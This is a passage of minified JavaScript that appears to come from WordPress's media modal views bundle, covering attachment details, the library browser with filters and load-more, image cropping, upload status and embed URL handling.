e,t=this.model.get("type");if("image"===t)e=wp.media.view.EmbedImage;else{if("link"!==t)return;e=wp.media.view.EmbedLink}this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))},loading:function(){this.$el.toggleClass("embed-loading",this.model.get("loading"))}});e.exports=t},6090:e=>{var t=wp.media.view.Attachment,i=wp.media.view.l10n,o=jQuery,a=wp.i18n.__,s=t.extend({tagName:"div",className:"attachment-details",template:wp.template("attachment-details"),attributes:{},events:{"change [data-setting]":"updateSetting","change [data-setting] input":"updateSetting","change [data-setting] select":"updateSetting","change [data-setting] textarea":"updateSetting","click .delete-attachment":"deleteAttachment","click .trash-attachment":"trashAttachment","click .untrash-attachment":"untrashAttachment","click .edit-attachment":"editAttachment",keydown:"toggleSelectionHandler"},copyAttachmentDetailsURLClipboard:function(){var s;new ClipboardJS(".copy-attachment-url").on("success",function(e){var t=o(e.trigger),i=o(".success",t.closest(".copy-to-clipboard-container"));e.clearSelection(),clearTimeout(s),i.removeClass("hidden"),s=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(a("The file URL has been copied to your clipboard"))})},initialize:function(){this.options=_.defaults(this.options,{rerenderOnModelChange:!1}),t.prototype.initialize.apply(this,arguments),this.copyAttachmentDetailsURLClipboard()},getFocusableElements:function(){var e=o('li[data-id="'+this.model.id+'"]');this.previousAttachment=e.prev(),this.nextAttachment=e.next()},moveFocus:function(){this.previousAttachment.length?this.previousAttachment.trigger("focus"):this.nextAttachment.length?this.nextAttachment.trigger("focus"):this.controller.uploader&&this.controller.uploader.$browser?this.controller.uploader.$browser.trigger("focus"):this.moveFocusToLastFallback()},moveFocusToLastFallback:function(){o(".media-frame").attr("tabindex","-1").trigger("focus")},deleteAttachment:function(e){e.preventDefault(),this.getFocusableElements(),window.confirm(i.warnDelete)&&(this.model.destroy({wait:!0,error:function(){window.alert(i.errorDeleting)}}),this.moveFocus())},trashAttachment:function(e){var t=this.controller.library,i=this;e.preventDefault(),this.getFocusableElements(),wp.media.view.settings.mediaTrash&&"edit-metadata"===this.controller.content.mode()?(this.model.set("status","trash"),this.model.save().done(function(){t._requery(!0),i.moveFocusToLastFallback()})):(this.model.destroy(),this.moveFocus())},untrashAttachment:function(e){var t=this.controller.library;e.preventDefault(),this.model.set("status","inherit"),this.model.save().done(function(){t._requery(!0)})},editAttachment:function(e){var t=this.controller.states.get("edit-image");window.imageEdit&&t?(e.preventDefault(),t.set("image",this.model),this.controller.setState("edit-image")):this.$el.addClass("needs-refresh")},toggleSelectionHandler:function(e){if("keydown"===e.type&&9===e.keyCode&&e.shiftKey&&e.target===this.$(":tabbable").get(0))return this.controller.trigger("attachment:details:shift-tab",e),!1},render:function(){t.prototype.render.apply(this,arguments),wp.media.mixin.removeAllPlayers(),this.$("audio, video").each(function(e,t){t=wp.media.view.MediaDetails.prepareSrc(t);new window.MediaElementPlayer(t,wp.media.mixin.mejsSettings)})}});e.exports=s},6126:e=>{var t=wp.media.View,i=t.extend({className:"image-editor",template:wp.template("image-editor"),initialize:function(e){this.editor=window.imageEdit,this.controller=e.controller,t.prototype.initialize.apply(this,arguments)},prepare:function(){return this.model.toJSON()},loadEditor:function(){this.editor.open(this.model.get("id"),this.model.get("nonces").edit,this)},back:function(){var e=this.controller.lastState();this.controller.setState(e)},refresh:function(){this.model.fetch()},save:function(){var e=this.controller.lastState();this.model.fetch().done(_.bind(function(){this.controller.setState(e)},this))}});e.exports=i},6150:e=>{function t(){return{extend:Backbone.Model.extend}}_.extend(t.prototype,Backbone.Events,{state:function(e){return this.states=this.states||new Backbone.Collection,(e=e||this._state)&&!this.states.get(e)&&this.states.add({id:e}),this.states.get(e)},setState:function(e){var t=this.state();return t&&e===t.id||!this.states||!this.states.get(e)||(t&&(t.trigger("deactivate"),this._lastState=t.id),this._state=e,this.state().trigger("activate")),this},lastState:function(){if(this._lastState)return this.state(this._lastState)}}),_.each(["on","off","trigger"],function(e){t.prototype[e]=function(){return this.states=this.states||new Backbone.Collection,this.states[e].apply(this.states,arguments),this}}),e.exports=t},6172:e=>{var t=wp.media.controller.Cropper.extend({activate:function(){this.frame.on("content:create:crop",this.createCropContent,this),this.frame.on("close",this.removeCropper,this),this.set("selection",new Backbone.Collection(this.frame._selection.single))},createCropContent:function(){this.cropperView=new wp.media.view.SiteIconCropper({controller:this,attachment:this.get("selection").first()}),this.cropperView.on("image-loaded",this.createCropToolbar,this),this.frame.content.set(this.cropperView)},doCrop:function(e){var t=e.get("cropDetails"),i=this.get("control");return t.dst_width=i.params.width,t.dst_height=i.params.height,wp.ajax.post("crop-image",{nonce:e.get("nonces").edit,id:e.get("id"),context:"site-icon",cropDetails:t})}});e.exports=t},6327:e=>{var t=wp.media.view.MenuItem.extend({click:function(){var e=this.options.contentMode;e&&this.controller.content.mode(e)}});e.exports=t},6442:e=>{var t=wp.media.View.extend({className:"upload-error",template:wp.template("uploader-status-error")});e.exports=t},6472:e=>{var t=wp.media.view.l10n,i=wp.media.view.AttachmentFilters.extend({id:"media-attachment-date-filters",createFilters:function(){var i={};_.each(wp.media.view.settings.months||{},function(e,t){i[t]={text:e.text,props:{year:e.year,monthnum:e.month}}}),i.all={text:t.allDates,props:{monthnum:!1,year:!1},priority:10},this.filters=i}});e.exports=i},6829:e=>{var s=wp.media.View,o=wp.media.view.settings.mediaTrash,a=wp.media.view.l10n,n=jQuery,i=wp.media.view.settings.infiniteScrolling,r=wp.i18n.__,t=wp.i18n.sprintf,l=s.extend({tagName:"div",className:"attachments-browser",initialize:function(){_.defaults(this.options,{filters:!1,search:!0,date:!0,display:!1,sidebar:!0,AttachmentView:wp.media.view.Attachment.Library}),this.controller.on("toggle:upload:attachment",this.toggleUploader,this),this.controller.on("edit:selection",this.editSelection),this.options.sidebar&&"errors"===this.options.sidebar&&this.createSidebar(),this.controller.isModeActive("grid")?(this.createUploader(),this.createToolbar()):(this.createToolbar(),this.createUploader()),this.createAttachmentsHeading(),this.createAttachmentsWrapperView(),i||(this.$el.addClass("has-load-more"),this.createLoadMoreView()),this.options.sidebar&&"errors"!==this.options.sidebar&&this.createSidebar(),this.updateContent(),i||this.updateLoadMoreView(),this.options.sidebar&&"errors"!==this.options.sidebar||(this.$el.addClass("hide-sidebar"),"errors"===this.options.sidebar&&this.$el.addClass("sidebar-for-errors")),this.collection.on("add remove reset",this.updateContent,this),i||this.collection.on("add remove reset",this.updateLoadMoreView,this),this.collection.on("attachments:received",this.announceSearchResults,this)},announceSearchResults:_.debounce(function(){var e,t=r("Number of media items displayed: %d. Click load more for more results.");i&&(t=r("Number of media items displayed: %d. Scroll the page for more results.")),this.collection.mirroring&&this.collection.mirroring.args.s&&(0===(e=this.collection.length)?wp.a11y.speak(a.noMediaTryNewSearch):this.collection.hasMore()?wp.a11y.speak(t.replace("%d",e)):wp.a11y.speak(a.mediaFound.replace("%d",e)))},200),editSelection:function(e){e.$(".media-button-backToLibrary").focus()},dispose:function(){return this.options.selection.off(null,null,this),s.prototype.dispose.apply(this,arguments),this},createToolbar:function(){var e,t=-1!==n.inArray(this.options.filters,["uploaded","all"]),i={controller:this.controller};this.controller.isModeActive("grid")&&(i.className="media-toolbar wp-filter"),this.toolbar=new wp.media.view.Toolbar(i),this.views.add(this.toolbar),this.toolbar.set("spinner",new wp.media.view.Spinner({priority:-20})),(t||this.options.date)&&this.toolbar.set("filters-heading",new wp.media.view.Heading({priority:-100,text:a.filterAttachments,level:"h2",className:"media-attachments-filter-heading"}).render()),t&&(this.toolbar.set("filtersLabel",new wp.media.view.Label({value:a.filterByType,attributes:{for:"media-attachment-filters"},priority:-80}).render()),"uploaded"===this.options.filters?this.toolbar.set("filters",new wp.media.view.AttachmentFilters.Uploaded({controller:this.controller,model:this.collection.props,priority:-80}).render()):(e=new wp.media.view.AttachmentFilters.All({controller:this.controller,model:this.collection.props,priority:-80}),this.toolbar.set("filters",e.render()))),this.controller.isModeActive("grid")?(i=s.extend({className:"view-switch media-grid-view-switch",template:wp.template("media-library-view-switcher")}),this.toolbar.set("libraryViewSwitcher",new i({controller:this.controller,priority:-90}).render()),this.toolbar.set("dateFilterLabel",new wp.media.view.Label({value:a.filterByDate,attributes:{for:"media-attachment-date-filters"},priority:-75}).render()),this.toolbar.set("dateFilter",new wp.media.view.DateFilter({controller:this.controller,model:this.collection.props,priority:-75}).render()),this.toolbar.set("selectModeToggleButton",new wp.media.view.SelectModeToggleButton({text:a.bulkSelect,controller:this.controller,priority:-70}).render()),this.toolbar.set("deleteSelectedButton",new wp.media.view.DeleteSelectedButton({filters:e,style:"primary",disabled:!0,text:o?a.trashSelected:a.deletePermanently,controller:this.controller,priority:-80,click:function(){var t=[],i=[],e=this.controller.state().get("selection"),s=this.controller.state().get("library");!e.length||!o&&!window.confirm(a.warnBulkDelete)||o&&"trash"!==e.at(0).get("status")&&!window.confirm(a.warnBulkTrash)||(e.each(function(e){e.get("nonces").delete?o&&"trash"===e.get("status")?(e.set("status","inherit"),t.push(e.save()),i.push(e)):o?(e.set("status","trash"),t.push(e.save()),i.push(e)):e.destroy({wait:!0}):i.push(e)}),t.length?(e.remove(i),n.when.apply(null,t).then(_.bind(function(){s._requery(!0),this.controller.trigger("selection:action:done")},this))):this.controller.trigger("selection:action:done"))}}).render()),o&&this.toolbar.set("deleteSelectedPermanentlyButton",new wp.media.view.DeleteSelectedPermanentlyButton({filters:e,style:"link button-link-delete",disabled:!0,text:a.deletePermanently,controller:this.controller,priority:-55,click:function(){var t=[],i=[],e=this.controller.state().get("selection");e.length&&window.confirm(a.warnBulkDelete)&&(e.each(function(e){(e.get("nonces").delete?i:t).push(e)}),t.length&&e.remove(t),i.length)&&n.when.apply(null,i.map(function(e){return e.destroy()})).then(_.bind(function(){this.controller.trigger("selection:action:done")},this))}}).render())):this.options.date&&(this.toolbar.set("dateFilterLabel",new wp.media.view.Label({value:a.filterByDate,attributes:{for:"media-attachment-date-filters"},priority:-75}).render()),this.toolbar.set("dateFilter",new wp.media.view.DateFilter({controller:this.controller,model:this.collection.props,priority:-75}).render())),this.options.search&&(this.toolbar.set("searchLabel",new wp.media.view.Label({value:a.searchLabel,className:"media-search-input-label",attributes:{for:"media-search-input"},priority:60}).render()),this.toolbar.set("search",new wp.media.view.Search({controller:this.controller,model:this.collection.props,priority:60}).render())),this.options.dragInfo&&this.toolbar.set("dragInfo",new s({el:n('<div class="instructions">'+a.dragInfo+"</div>")[0],priority:-40})),this.options.suggestedWidth&&this.options.suggestedHeight&&this.toolbar.set("suggestedDimensions",new s({el:n('<div class="instructions">'+a.suggestedDimensions.replace("%1$s",this.options.suggestedWidth).replace("%2$s",this.options.suggestedHeight)+"</div>")[0],priority:-40}))},updateContent:function(){var e=this,t=this.controller.isModeActive("grid")?e.attachmentsNoResults:e.uploader;this.collection.length?(t.$el.addClass("hidden"),e.toolbar.get("spinner").hide(),this.toolbar.$(".media-bg-overlay").hide()):(this.toolbar.get("spinner").show(),this.toolbar.$(".media-bg-overlay").show(),this.dfd=this.collection.more().done(function(){e.collection.length?t.$el.addClass("hidden"):t.$el.removeClass("hidden"),e.toolbar.get("spinner").hide(),e.toolbar.$(".media-bg-overlay").hide()}))},createUploader:function(){this.uploader=new wp.media.view.UploaderInline({controller:this.controller,status:!1,message:this.controller.isModeActive("grid")?"":a.noItemsFound,canClose:this.controller.isModeActive("grid")}),this.uploader.$el.addClass("hidden"),this.views.add(this.uploader)},toggleUploader:function(){this.uploader.$el.hasClass("hidden")?this.uploader.show():this.uploader.hide()},createAttachmentsWrapperView:function(){this.attachmentsWrapper=new wp.media.View({className:"attachments-wrapper"}),this.views.add(this.attachmentsWrapper),this.createAttachments()},createAttachments:function(){this.attachments=new wp.media.view.Attachments({controller:this.controller,collection:this.collection,selection:this.options.selection,model:this.model,sortable:this.options.sortable,scrollElement:this.options.scrollElement,idealColumnWidth:this.options.idealColumnWidth,AttachmentView:this.options.AttachmentView}),this.controller.on("attachment:keydown:arrow",_.bind(this.attachments.arrowEvent,this.attachments)),this.controller.on("attachment:details:shift-tab",_.bind(this.attachments.restoreFocus,this.attachments)),this.views.add(".attachments-wrapper",this.attachments),this.controller.isModeActive("grid")&&(this.attachmentsNoResults=new s({controller:this.controller,tagName:"p"}),this.attachmentsNoResults.$el.addClass("hidden no-media"),this.attachmentsNoResults.$el.html(a.noMedia),this.views.add(this.attachmentsNoResults))},createLoadMoreView:function(){var e=this;this.loadMoreWrapper=new s({controller:this.controller,className:"load-more-wrapper"}),this.loadMoreCount=new s({controller:this.controller,tagName:"p",className:"load-more-count hidden"}),this.loadMoreButton=new wp.media.view.Button({text:r("Load more"),className:"load-more hidden",style:"primary",size:"",click:function(){e.loadMoreAttachments()}}),this.loadMoreSpinner=new wp.media.view.Spinner,this.loadMoreJumpToFirst=new wp.media.view.Button({text:r("Jump to first loaded item"),className:"load-more-jump hidden",size:"",click:function(){e.jumpToFirstAddedItem()}}),this.views.add(".attachments-wrapper",this.loadMoreWrapper),this.views.add(".load-more-wrapper",this.loadMoreSpinner),this.views.add(".load-more-wrapper",this.loadMoreCount),this.views.add(".load-more-wrapper",this.loadMoreButton),this.views.add(".load-more-wrapper",this.loadMoreJumpToFirst)},updateLoadMoreView:_.debounce(function(){this.loadMoreButton.$el.addClass("hidden"),this.loadMoreCount.$el.addClass("hidden"),this.loadMoreJumpToFirst.$el.addClass("hidden").prop("disabled",!0),this.collection.getTotalAttachments()&&(this.collection.length&&(this.loadMoreCount.$el.text(t(r("Showing %1$s of %2$s media items"),this.collection.length,this.collection.getTotalAttachments())),this.loadMoreCount.$el.removeClass("hidden")),this.collection.hasMore()&&this.loadMoreButton.$el.removeClass("hidden"),this.firstAddedMediaItem=this.$el.find(".attachment").eq(this.firstAddedMediaItemIndex),this.firstAddedMediaItem.length&&(this.firstAddedMediaItem.addClass("new-media"),this.loadMoreJumpToFirst.$el.removeClass("hidden").prop("disabled",!1)),this.firstAddedMediaItem.length)&&!this.collection.hasMore()&&this.loadMoreJumpToFirst.$el.trigger("focus")},10),loadMoreAttachments:function(){var e=this;this.collection.hasMore()&&(this.firstAddedMediaItemIndex=this.collection.length,this.$el.addClass("more-loaded"),this.collection.each(function(e){e=e.attributes.id;n('[data-id="'+e+'"]').addClass("found-media")}),e.loadMoreSpinner.show(),this.collection.once("attachments:received",function(){e.loadMoreSpinner.hide()}),this.collection.more())},jumpToFirstAddedItem:function(){this.firstAddedMediaItem.focus()},createAttachmentsHeading:function(){this.attachmentsHeading=new wp.media.view.Heading({text:a.attachmentsList,level:"h2",className:"media-views-heading screen-reader-text"}),this.views.add(this.attachmentsHeading)},createSidebar:function(){var e=this.options.selection,t=this.sidebar=new wp.media.view.Sidebar({controller:this.controller});this.views.add(t),this.controller.uploader&&t.set("uploads",new wp.media.view.UploaderStatus({controller:this.controller,priority:40})),e.on("selection:single",this.createSingle,this),e.on("selection:unsingle",this.disposeSingle,this),e.single()&&this.createSingle()},createSingle:function(){var e=this.sidebar,t=this.options.selection.single();e.set("details",new wp.media.view.Attachment.Details({controller:this.controller,model:t,priority:80})),e.set("compat",new wp.media.view.AttachmentCompat({controller:this.controller,model:t,priority:120})),this.options.display&&e.set("display",new wp.media.view.Settings.AttachmentDisplay({controller:this.controller,model:this.model.display(t),attachment:t,priority:160,userSettings:this.model.get("displayUserSettings")})),"insert"===this.model.id&&e.$el.addClass("visible")},disposeSingle:function(){var e=this.sidebar;e.unset("details"),e.unset("compat"),e.unset("display"),e.$el.removeClass("visible")}});e.exports=l},7127:e=>{var i=wp.media.model.Selection,s=wp.media.controller.Library,t=wp.media.view.l10n,t=s.extend({defaults:_.defaults({id:"gallery-library",title:t.addToGalleryTitle,multiple:"add",filterable:"uploaded",menu:"gallery",toolbar:"gallery-add",priority:100,syncSelection:!1},s.prototype.defaults),initialize:function(){this.get("library")||this.set("library",wp.media.query({type:"image"})),s.prototype.initialize.apply(this,arguments)},activate:function(){var e=this.get("library"),t=this.frame.state("gallery-edit").get("library");this.editLibrary&&this.editLibrary!==t&&e.unobserve(this.editLibrary),e.validator=function(e){return!!this.mirroring.get(e.cid)&&!t.get(e.cid)&&i.prototype.validator.apply(this,arguments)},e.reset(e.mirroring.models,{silent:!0}),e.observe(t),this.editLibrary=t,s.prototype.activate.apply(this,arguments)}});e.exports=t},7145:e=>{var s=wp.media.model.Selection,o=wp.media.controller.Library,t=o.extend({defaults:_.defaults({multiple:"add",filterable:"uploaded",priority:100,syncSelection:!1},o.prototype.defaults),initialize:function(){var e=this.get("collectionType");"video"===this.get("type")&&(e="video-"+e),this.set("id",e+"-library"),this.set("toolbar",e+"-add"),this.set("menu",e),this.get("library")||this.set("library",wp.media.query({type:this.get("type")})),o.prototype.initialize.apply(this,arguments)},activate:function(){var e=this.get("library"),t=this.get("editLibrary"),i=this.frame.state(this.get("collectionType")+"-edit").get("library");t&&t!==i&&e.unobserve(t),e.validator=function(e){return!!this.mirroring.get(e.cid)&&!i.get(e.cid)&&s.prototype.validator.apply(this,arguments)},e.reset(e.mirroring.models,{silent:!0}),e.observe(i),this.set("editLibrary",i),o.prototype.activate.apply(this,arguments)}});e.exports=t},7266:e=>{var t=wp.media.view.Settings.extend({className:"collection-settings gallery-settings",template:wp.template("gallery-settings")});e.exports=t},7327:e=>{var t=wp.media.View,i=jQuery,s=wp.media.view.l10n,o=t.extend({tagName:"span",className:"embed-url",events:{input:"url"},initialize:function(){this.$input=i('<input id="embed-url-field" type="url" />').attr("aria-label",s.insertFromUrlTitle).val(this.model.get("url")),this.input=this.$input[0],this.spinner=i('<span class="spinner" />')[0],this.$el.append([this.input,this.spinner]),this.listenTo(this.model,"change:url",this.render),this.model.get("url")&&_.delay(_.bind(function(){this.model.trigger("change:url")},this),500)},render:function(){var e=this.$input;if(!e.is(":focus"))return this.model.get("url")?this.input.value=this.model.get("url"):this.input.setAttribute("placeholder","https://"),t.prototype.render.apply(this,arguments),this},url:function(e){e=e.target.value||"";this.model.set("url",e.trim())}});e.exports=o},7349:e=>{var t=wp.media.view.l10n,i=wp.media.view.AttachmentFilters.extend({createFilters:function(){var i={},e=window.userSettings?parseInt(window.userSettings.uid,10):0;_.each(wp.media.view.settings.mimeTypes||{},function(e,t){i[t]={text:e,props:{status:null,type:t,uploadedTo:null,orderby:"date",order:"DESC",author:null}}}),i.all={text:t.allMediaItems,props:{status:null,type:null,uploadedTo:null,orderby:"date",order:"DESC",author:null},priority:10},wp.media.view.settings.post.id&&(i.uploaded={text:t.uploadedToThisPost,props:{status:null,type:null,uploadedTo:wp.media.view.settings.post.id,orderby:"menuOrder",order:"ASC",author:null},priority:20}),i.unattached={text:t.unattached,props:{status:null,uploadedTo:0,type:null,orderby:"menuOrder",order:"ASC",author:null},priority:50},e&&(i.mine={text:t.mine,props:{status:null,type:null,uploadedTo:null,orderby:"date",order:"DESC",author:e},priority:50}),wp.media.view.settings.mediaTrash&&this.controller.isModeActive("grid")&&(i.trash={text:t.trash,props:{uploadedTo:null,status:"trash",type:null,orderby:"date",order:"DESC",author:null},priority:50}),this.filters=i}});e.exports=i},7637:e=>{var t=wp.media.View,i=wp.media.view.UploaderStatus,s=wp.media.view.l10n,o=jQuery,a=t.extend({className:"crop-content",template:wp.template("crop-content"),initialize:function(){_.bindAll(this,"onImageLoad")},ready:function(){this.controller.frame.on("content:error:crop",this.onError,this),this.$image=this.$el.find(".crop-image"),this.$image.on("load",this.onImageLoad),o(window).on("resize.cropper",_.debounce(this.onImageLoad,250))},remove:function(){o(window).off("resize.cropper"),this.$el.remove(),this.$el.off(),t.prototype.remove.apply(this,arguments)},prepare:function(){return{title:s.cropYourImage,url:this.options.attachment.get("url")}},onImageLoad:function(){var i,e=this.controller.get("imgSelectOptions");"function"==typeof e&&(e=e(this.options.attachment,this.controller)),e=_.extend(e,{parent:this.$el,onInit:function(){var t=i.getOptions().aspectRatio;this.parent.children().on("mousedown touchstart",function(e){!t&&e.shiftKey&&i.setOptions({aspectRatio:"1:1"})}),this.parent.children().on("mouseup touchend",function(){i.setOptions({aspectRatio:t||!1})})}}),this.trigger("image-loaded"),i=this.controller.imgSelect=this.$image.imgAreaSelect(e)},onError:function(){var e=this.options.attachment.get("filename");this.views.add(".upload-errors",new wp.media.view.UploaderStatusError({filename:i.prototype.filename(e),message:window._wpMediaViewsL10n.cropError}),{at:0})}});e.exports=a},7656:e=>{var t=wp.media.view.Settings,i=t.extend({className:"attachment-display-settings",template:wp.template("attachment-display-settings"),initialize:function(){var e=this.options.attachment;_.defaults(this.options,{userSettings:!1}),t.prototype.initialize.apply(this,arguments),this.listenTo(this.model,"change:link",this.updateLinkTo),e&&e.on("change:uploading",this.render,this)},dispose:function(){var e=this.options.attachment;e&&e.off(null,null,this),t.prototype.dispose.apply(this,arguments)},render:function(){var e=this.options.attachment;return e&&_.extend(this.options,{sizes:e.get("sizes"),type:e.get("type")}),t.prototype.render.call(this),this.updateLinkTo(),this},updateLinkTo:function(){var e=this.model.get("link"),t=this.$(".link-to-custom"),i=this.options.attachment;"none"===e||"embed"===e||!i&&"custom"!==e?t.closest(".setting").addClass("hidden"):(i&&("post"===e?t.val(i.get("link")):"file"===e?t.val(i.get("url")):this.model.get("linkUrl")||t.val("http://"),t.prop("readonly","custom"!==e)),t.closest(".setting").removeClass("hidden"),t.length&&t[0].scrollIntoView())}});e.exports=i},7709:e=>{var i=jQuery,t=wp.media.View.extend({tagName:"select",className:"attachment-filters",id:"media-attachment-filters",events:{change:"change"},keys:[],initialize:function(){this.createFilters(),_.extend(this.filters,this.options.filters),this.$el.html(_.chain(this.filters).map(function(e,t){return{el:i("<option></option>").val(t).html(e.text)[0],priority:e.priority||50}},this).sortBy("priority").pluck("el").value()),this.listenTo(this.model,"change",this.select),this.select()},createFilters:function(){this.filters={}},change:function(){var e=this.filters[this.el.value];e&&this.model.set(e.props)},select:function(){var e=this.model,i="all",s=e.toJSON();_.find(this.filters,function(e,t){if(_.all(e.props,function(e,t){return e===(_.isUndefined(s[t])?null:s[t])}))return i=t}),this.$el.val(i)}});e.exports=t},7810:e=>{var t=wp.media.View,n=jQuery,t=t.extend({className:"site-icon-preview-crop-modal",template:wp.template("site-icon-preview-crop"),ready:function(){this.controller.imgSelect.setOptions({onInit:this.updatePreview,onSelectChange:this.updatePreview})},prepare:function(){return{url:this.options.attachment.get("url")}},updatePreview:function(e,t){var i=64/t.width,s=64/t.height,o=24/t.width,a=24/t.height;n("#preview-app-icon").css({width:Math.round(i*this.imageWidth)+"px",height:Math.round(s*this.imageHeight)+"px",marginLeft:"-"+Math.round(i*t.x1)+"px",marginTop:"-"+Math.round(s*t.y1)+"px"}),n("#preview-favicon").css({width:Math.round(o*this.imageWidth)+"px",height:Math.round(a*this.imageHeight)+"px",marginLeft:"-"+Math.round(o*t.x1)+"px",marginTop:"-"+Math.floor(a*t.y1)+"px"})}});e.exports=t},8065:e=>{var t=wp.media.controller.Library,i=t.extend({defaults:_.defaults({filterable:"uploaded",displaySettings:!1,priority:80,syncSelection:!1},t.prototype.defaults),initialize:function(e){this.media=e.media,this.type=e.type,this.set("library",wp.media.query({type:this.type})),t.prototype.initialize.apply(this,arguments)},activate:function(){wp.media.frame.lastMime&&(this.set("library",wp.media.query({type:wp.media.frame.lastMime})),delete wp.media.frame.lastMime),t.prototype.activate.apply(this,arguments)}});e.exports=i},8142:e=>{var t=wp.media.View,a=jQuery,i=wp.media.view.settings.infiniteScrolling,s=t.extend({tagName:"ul",className:"attachments",attributes:{tabIndex:-1},initialize:function(){this.el.id=_.uniqueId("__attachments-view-"),_.defaults(this.options,{infiniteScrolling:i||!1,refreshSensitivity:wp.media.isTouchDevice?300:200,refreshThreshold:3,AttachmentView:wp.media.view.Attachment,sortable:!1,resize:!0,idealColumnWidth:a(window).width()<640?135:150}),this._viewsByCid={},this.$window=a(window),this.resizeEvent="resize.media-modal-columns",this.collection.on("add",function(e){this.views.add(this.createAttachmentView(e),{at:this.collection.indexOf(e)})},this),this.collection.on("remove",function(e){var t=this._viewsByCid[e.cid];delete this._viewsByCid[e.cid],t&&t.remove()},this),this.collection.on("reset",this.render,this),this.controller.on("library:selection:add",this.attachmentFocus,this),this.options.infiniteScrolling&&(this.scroll=_.chain(this.scroll).bind(this).throttle(this.options.refreshSensitivity).value(),this.options.scrollElement=this.options.scrollElement||this.el,a(this.options.scrollElement).on("scroll",this.scroll)),this.initSortable(),_.bindAll(this,"setColumns"),this.options.resize&&(this.on("ready",this.bindEvents),this.controller.on("open",this.setColumns),_.defer(this.setColumns,this))},bindEvents:function(){this.$window.off(this.resizeEvent).on(this.resizeEvent,_.debounce(this.setColumns,50))},attachmentFocus:function(){this.columns&&this.$el.focus()},restoreFocus:function(){this.$("li.selected:first").focus()},arrowEvent:function(e){var t=this.$el.children("li"),i=this.columns,s=t.filter(":focus").index(),o=s+1<=i?1:Math.ceil((s+1)/i);if(-1!==s){if(37===e.keyCode){if(0===s)return;t.eq(s-1).focus()}if(38===e.keyCode){if(1===o)return;t.eq(s-i).focus()}if(39===e.keyCode){if(t.length===s)return;t.eq(s+1).focus()}40===e.keyCode&&Math.ceil(t.length/i)!==o&&t.eq(s+i).focus()}},dispose:function(){this.collection.props.off(null,null,this),this.options.resize&&this.$window.off(this.resizeEvent),t.prototype.dispose.apply(this,arguments)},setColumns:function(){var e=this.columns,t=this.$el.width();t&&(this.columns=Math.min(Math.round(t/this.options.idealColumnWidth),12)||1,e&&e===this.columns||this.$el.closest(".media-frame-content").attr("data-columns",this.columns))},initSortable:function(){var o=this.collection;this.options.sortable&&a.fn.sortable&&(this.$el.sortable(_.extend({disabled:!!o.comparator,tolerance:"pointer",start:function(e,t){t.item.data("sortableIndexStart",t.item.index())},update:function(e,t){var i=o.at(t.item.data("sortableIndexStart")),s=o.comparator;delete o.comparator,o.remove(i,{silent:!0}),o.add(i,{silent:!0,at:t.item.index()}),o.comparator=s,o.trigger("reset",o),o.saveMenuOrder()}},this.options.sortable)),o.props.on("change:orderby",function(){this.$el.sortable("option","disabled",!!o.comparator)},this),this.collection.props.on("change:orderby",this.refreshSortable,this),this.refreshSortable())},refreshSortable:function(){var e;this.options.sortable&&a.fn.sortable&&(e="menuOrder"===(e=this.collection).props.get("orderby")||!e.comparator,this.$el.sortable("option","disabled",!e))},createAttachmentView:function(e){var t=new this.options.AttachmentView({controller:this.controller,model:e,collection:this.collection,selection:this.options.selection});return this._viewsByCid[e.cid]=t},prepare:function(){this.collection.length?this.views.set(this.collection.map(this.createAttachmentView,this)):(this.views.unset(),this.options.infiniteScrolling&&this.collection.more().done(this.scroll))},ready:function(){this.options.infiniteScrolling&&this.scroll()},scroll:function(){var e,t=this,i=this.options.scrollElement,s=i.scrollTop;i===document&&(i=document.body,s=a(document).scrollTop()),a(i).is(":visible")&&this.collection.hasMore()&&(e=this.views.parent.toolbar,i.scrollHeight-(s+i.clientHeight)<i.clientHeight/3&&e.get("spinner").show(),i.scrollHeight<s+i.clientHeight*this.options.refreshThreshold)&&this.collection.more().done(function(){t.scroll(),e.get("spinner").hide()})}});e.exports=s},8197:e=>{var t=wp.media.View,i=t.extend({className:"media-uploader-status",template:wp.template("uploader-status"),events:{"click .upload-dismiss-errors":"dismiss"},initialize:function(){this.queue=wp.Uploader.queue,this.queue.on("add remove reset",this.visibility,this),this.queue.on("add remove reset change:percent",this.progress,this),this.queue.on("add remove reset change:uploading",this.info,this),this.errors=wp.Uploader.errors,this.errors.reset(),this.errors.on("add remove reset",this.visibility,this),this.errors.on("add",this.error,this)},dispose:function(){return wp.Uploader.queue.off(null,null,this),t.prototype.dispose.apply(this,arguments),this},visibility:function(){this.$el.toggleClass("uploading",!!this.queue.length),this.$el.toggleClass("errors",!!this.errors.length),this.$el.toggle(!!this.queue.length||!!this.errors.length)},ready:function(){_.each({$bar:".media-progress-bar div",$index:".upload-index",$total:".upload-total",$filename:".upload-filename"},function(e,t){this[t]=this.$(e)},this),this.visibility(),this.progress(),this.info()},progress:function(){var e=this.queue,t=this.$bar;t&&e.length&&t.width(e.reduce(function(e,t){return t.get("uploading")?(t=t.get("percent"),e+(_.isNumber(t)?t:100)):e+100},0)/e.length+"%")},info:function(){var e,t=this.queue,i=0;t.length&&(e=this.queue.find(function(e,t){return i=t,e.get("uploading")}),this.$index)&&this.$total&&this.$filename&&(this.$index.text(i+1),this.$total.text(t.length),this.$filename.html(e?this.filename(e.get("filename")):""))},filename:function(e){return _.escape(e)},error:function(e){var t=new wp.media.view.UploaderStatusError({filename:this.filename(e.get("file").name),message:e.get("message")}),i=this.$el.find("button");this.views.add(".upload-errors",t,{at:0}),_.delay(function(){i.trigger("focus"),wp.a11y.speak(e.get("message"),"assertive")},1e3)},dismiss:function(){var e=this.views.get(".upload-errors");e&&_.invoke(e,"remove"),wp.Uploader.errors.reset(),this.controller.modal&&this.controller.modal.focusManager.focus()}});e.exports=i},8232:e=>{var i=jQuery,t=wp.media.view.Settings.extend({className:"embed-link-settings",template:wp.template("embed-link-settings"),initialize:function(){this.listenTo(this.model,"change:url",this.updateoEmbed)},updateoEmbed:_.debounce(function(){var e=this.model.get("url");this.$(".embed-container").hide().find(".embed-preview").empty(),this.$(".setting").hide(),e&&(e.length<11||!e.match(/^http(s)?:\/\//))||this.fetch()},wp.media.controller.Embed.sensitivity),fetch:function(){var 